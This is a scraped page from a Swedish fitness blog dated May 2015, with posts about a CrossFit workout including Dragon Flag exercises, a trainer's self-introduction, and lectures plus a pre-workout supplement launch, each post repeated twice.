Istället körde jag Dragon Flag för första gången. Det är en bål övning som ska vara bra men jag har aldrig testa den, såhär ser den ut:

Man börjar alltså upp och ligger på skulderbladen, inte nacken. Sen spänner man inre bålen samt rumpan och rätar ut höften helt. Höften ska vara helt utsträckt genom hela övningen och det är just detta om är det jobbiga. Är du inte stark nog i bålen så kommer du vilja böja i höften, speciellt på vägen upp, som ni kan se att jag gör lite. Orkar man inte vända och gå upp så kan man bara hålla emot ner och sen börja om.

Jag körde 3×3 set och det kändes riktgt bra, ska köra den ofta nu och se om jag blir stabilare i mitten av kroppen.

Sen körde vi HSPU och lite annat innan WODen.

 

 

WODen var 30 min amrap av:

  • Right Side Sledgehammer Slams 8 reps
  • Left Side Sledgehammer Slams 8 reps
  • Overhead Slams – 8 reps
  • Crunches with feet on box (disconnect hip flexor) AMRAP
  • Jefferson curls 5 slow reps x 5-10kg
  • Row / Bike / Ski 20 kcal

Vi körde slamballs istället för slägga och sprang 400 m istället för rodd, vi behöver löpningen mer… 😉

Helt ok pass med tanke på omständigheterna.

Idag kom vår vepa som vi ska ha mot motorvägen på CrossFit Highway så att det syns vart vi finns, den var stor kan jag lova 🙂 Vi ska sätta upp den imorgon och då ska jag fota så ni får se.

Måste också påminna om att man nu kan söka som utmanare till Gladiatorerna.

Det gör du här: Gladiatorerna

Så tror du att du har det som krävs för att möta mig eller någon av de andra Gladiatorerna så tycker jag du ska söka nu.

IMG_2767.JPG IMG_2770.JPG

 

Så kanske vi ses! 🙂

/P

Idag hade jag fortfarande ont i infran och jag har bokat tid hos min naprapat på torsdag så jag får det behandlat, det är en överansträngning och låsning där.

Men jag körde ändå stora dela av dagens pass, det som kändes bra helt enkelt 😉

Vi började med handstående träning och det gick väl sådär, jag stod kanske upp emot 10 s en gång.

Sen körde Andreas MU träning och det hoppade jag över för att spara infran.

Istället körde jag Dragon Flag för första gången. Det är en bål övning som ska vara bra men jag har aldrig testa den, såhär ser den ut:

Man börjar alltså upp och ligger på skulderbladen, inte nacken. Sen spänner man inre bålen samt rumpan och rätar ut höften helt. Höften ska vara helt utsträckt genom hela övningen och det är just detta om är det jobbiga. Är du inte stark nog i bålen så kommer du vilja böja i höften, speciellt på vägen upp, som ni kan se att jag gör lite. Orkar man inte vända och gå upp så kan man bara hålla emot ner och sen börja om.

Jag körde 3×3 set och det kändes riktgt bra, ska köra den ofta nu och se om jag blir stabilare i mitten av kroppen.

Sen körde vi HSPU och lite annat innan WODen.

 

 

WODen var 30 min amrap av:

  • Right Side Sledgehammer Slams 8 reps
  • Left Side Sledgehammer Slams 8 reps
  • Overhead Slams – 8 reps
  • Crunches with feet on box (disconnect hip flexor) AMRAP
  • Jefferson curls 5 slow reps x 5-10kg
  • Row / Bike / Ski 20 kcal

Vi körde slamballs istället för slägga och sprang 400 m istället för rodd, vi behöver löpningen mer… 😉

Helt ok pass med tanke på omständigheterna.

Idag kom vår vepa som vi ska ha mot motorvägen på CrossFit Highway så att det syns vart vi finns, den var stor kan jag lova 🙂 Vi ska sätta upp den imorgon och då ska jag fota så ni får se.

Måste också påminna om att man nu kan söka som utmanare till Gladiatorerna.

Det gör du här: Gladiatorerna

Så tror du att du har det som krävs för att möta mig eller någon av de andra Gladiatorerna så tycker jag du ska söka nu.

IMG_2767.JPG IMG_2770.JPG

 

Så kanske vi ses! 🙂

/P

Du kan OM du vill, DU vill OM du kan!

12 Maj 2015

i-gjbmhzh-XL

Hej! Mitt namn är Isak Janineh och arbetar som CEO på DS TRADEMARK. Jag är 26 år gammal och kommer ursprungligen från Betlehem, men kom till Sverige och skönheten Malmö som väldigt ung och fann redan då ett intresse för fysisk aktivitet. Senare började jag tävla inom styrkelyft samt tyngdlyftning. Nu har jag en examen i idrottsvetenskap, internationell personlig tränarlicens, kostlicens och massagelicens i bagaget som jag valde att ta på DS PT-School.

Dagen jag började intressera mig för sport fastnade jag framförallt för styrketräning, vilket ledde till att jag både har ett SM-silver i styrkelyft samt ett SM-brons i tyngdlyftning. Och nu är siktet inställt på Athletic Fitness i november! Den kunskap som jag under mina år samlat på mig kommer att genomsyra mitt lärande för att på bästa möjliga vis utveckla mina klienters förmåga att leda, samt skapa ett framåtsträvande i deras sätt att tänka och lära ut. Som lärare kommer alltid studenten först, vi tränar tillsammans, lär tillsammans och når målen tillsammans!

Jag har utbildat flera hundra elever, både nationellt samt internationellt (i bland annat Dubai) men även hjälpt de som behöver det att hitta arbete och hjälpa fler människor utvecklas och komma vidare i livet. Tillsammans med ett grymt team här på DS arbetar vi ständigt för att skapa de bästa förutsättningarna för våra elever så att de kan ta sin talang vidare ut i verkligheten där de kan förändra liv på riktigt. Jag tror starkt på att vi gemensamt kan förändra, skapa och förnya det tillstånd vi lever i för att hitta det som passar varje enskild individ bäst, samt skapa individer som kan hjälpa varandra till ett likadant tillstånd.

Varje dag inser jag den möjlighet som givits mig, möjligheten att förändra, möjligheten att skapa samt möjligheten att inspirera de personer eller grupper jag träffar dagligen. Genom detta lär jag mig att vara ödmjuk och använda detta till att skapa passion och glädje i andra. Jag lär ut viljan att leva efter våra 3 P: tänk Positivt, tala Positivt, agera Positivt så kommer du också att LEVA POSITIVT! Detta är något som jag förstärker kontinuerligt för att lyfta fram detta budskap till så många som möjligt.

Känslan av att inspirera och blotta den potential som varje individ har inom sig är fantastisk. Alla är vi ledare och alla har vi potential att arbeta mot en bättre värld genom att leda rätt individer mot rätt mål i rätt tid. Valen vi måste ta i livet kommer att leda oss fram till den framtid vi väljer att leva i. Alltså kommer besluten vi gör idag påverka det vi gör imorgon. Sluta helt enkelt att tänka och börja agera mot det du vill, mot den drömmen du skall börja att skapa och forma redan idag!

”Its a choice of life, Your life”

Jag kommer att skriva om allt om praktisk styrketräning, funktionell träning, styrkelyft och tyngdlyftning, men också om anatomi och ledarskap, för att nämna några ämnen. Välkommen att följa mina öden och äventyr här på min blogg på Fitness For Men!

/ Isak

Förresten: Det är cirka fyra år mellan bilderna längst upp i inlägget – på bilden till höger väger jag 60kg, på bilden till vänster 70kg.

i-gjbmhzh-XL

Hej! Mitt namn är Isak Janineh och arbetar som CEO på DS TRADEMARK. Jag är 26 år gammal och kommer ursprungligen från Betlehem, men kom till Sverige och skönheten Malmö som väldigt ung och fann redan då ett intresse för fysisk aktivitet. Senare började jag tävla inom styrkelyft samt tyngdlyftning. Nu har jag en examen i idrottsvetenskap, internationell personlig tränarlicens, kostlicens och massagelicens i bagaget som jag valde att ta på DS PT-School.

Dagen jag började intressera mig för sport fastnade jag framförallt för styrketräning, vilket ledde till att jag både har ett SM-silver i styrkelyft samt ett SM-brons i tyngdlyftning. Och nu är siktet inställt på Athletic Fitness i november! Den kunskap som jag under mina år samlat på mig kommer att genomsyra mitt lärande för att på bästa möjliga vis utveckla mina klienters förmåga att leda, samt skapa ett framåtsträvande i deras sätt att tänka och lära ut. Som lärare kommer alltid studenten först, vi tränar tillsammans, lär tillsammans och når målen tillsammans!

Jag har utbildat flera hundra elever, både nationellt samt internationellt (i bland annat Dubai) men även hjälpt de som behöver det att hitta arbete och hjälpa fler människor utvecklas och komma vidare i livet. Tillsammans med ett grymt team här på DS arbetar vi ständigt för att skapa de bästa förutsättningarna för våra elever så att de kan ta sin talang vidare ut i verkligheten där de kan förändra liv på riktigt. Jag tror starkt på att vi gemensamt kan förändra, skapa och förnya det tillstånd vi lever i för att hitta det som passar varje enskild individ bäst, samt skapa individer som kan hjälpa varandra till ett likadant tillstånd.

Varje dag inser jag den möjlighet som givits mig, möjligheten att förändra, möjligheten att skapa samt möjligheten att inspirera de personer eller grupper jag träffar dagligen. Genom detta lär jag mig att vara ödmjuk och använda detta till att skapa passion och glädje i andra. Jag lär ut viljan att leva efter våra 3 P: tänk Positivt, tala Positivt, agera Positivt så kommer du också att LEVA POSITIVT! Detta är något som jag förstärker kontinuerligt för att lyfta fram detta budskap till så många som möjligt.

Känslan av att inspirera och blotta den potential som varje individ har inom sig är fantastisk. Alla är vi ledare och alla har vi potential att arbeta mot en bättre värld genom att leda rätt individer mot rätt mål i rätt tid. Valen vi måste ta i livet kommer att leda oss fram till den framtid vi väljer att leva i. Alltså kommer besluten vi gör idag påverka det vi gör imorgon. Sluta helt enkelt att tänka och börja agera mot det du vill, mot den drömmen du skall börja att skapa och forma redan idag!

”Its a choice of life, Your life”

Jag kommer att skriva om allt om praktisk styrketräning, funktionell träning, styrkelyft och tyngdlyftning, men också om anatomi och ledarskap, för att nämna några ämnen. Välkommen att följa mina öden och äventyr här på min blogg på Fitness For Men!

/ Isak

Förresten: Det är cirka fyra år mellan bilderna längst upp i inlägget – på bilden till höger väger jag 60kg, på bilden till vänster 70kg.

Intervju, föreläsning och lansering!

11 Maj 2015

Föreläsningarna fortsätter, idag föreläste jag på World Class i Linköping för deras medlemmar och det var minst lika kul som på Fitnessgalan.

Vill ni också hyra in mig att föreläsa om hur ni når bättre resultat i träningen med smarta mål? Då kan ni maila till [email protected]

Vill ni veta mer om de tjänster jag erbjuder kan ni kolla in här: Biceps Event

Efter föreläsningen så fick de som ville köra min Utmanare Redo utmaning.

5 varv på tid av:

  • 10 Marklyft (på kroppsvikt)
  • 10 Situps

Det var många som pröva och 2 tangerade min tid på 2:31, grymt bra.

På Fitnessgala blev jag intervjuad av Muscles.se och nu finns den intervjun här:

Där pratar jag bland annat om min nya PWO Core Performance som släpptes på mässan. Idag släpptes den även på Svenskt Kosttillskott tillspecial pris.

Ni hittar den här: Core Performance

Testa den, ni kommer inte bli besvikna. Den ger skön och bra energi till passet och den smakar riktigt gott.

Ingen träning idag pga mycket jobb 🙁 …men imorgon laddar jag för Gorilla pass igen.

/P

Föreläsningarna fortsätter, idag föreläste jag på World Class i Linköping för deras medlemmar och det var minst lika kul som på Fitnessgalan.

Vill ni också hyra in mig att föreläsa om hur ni når bättre resultat i träningen med smarta mål? Då kan ni maila till [email protected]

Vill ni veta mer om de tjänster jag erbjuder kan ni kolla in här: Biceps Event

Efter föreläsningen så fick de som ville köra min Utmanare Redo utmaning.

5 varv på tid av:

  • 10 Marklyft (på kroppsvikt)
  • 10 Situps

Det var många som pröva och 2 tangerade min tid på 2:31, grymt bra.

På Fitnessgala blev jag intervjuad av Muscles.se och nu finns den intervjun här:

Där pratar jag bland annat om min nya PWO Core Performance som släpptes på mässan. Idag släpptes den även på Svenskt Kosttillskott tillspecial pris.

Ni hittar den här: Core Performance

Testa den, ni kommer inte bli besvikna. Den ger skön och bra energi till passet och den smakar riktigt gott.

Ingen träning idag pga mycket jobb 🙁 …men imorgon laddar jag för Gorilla pass igen.

/P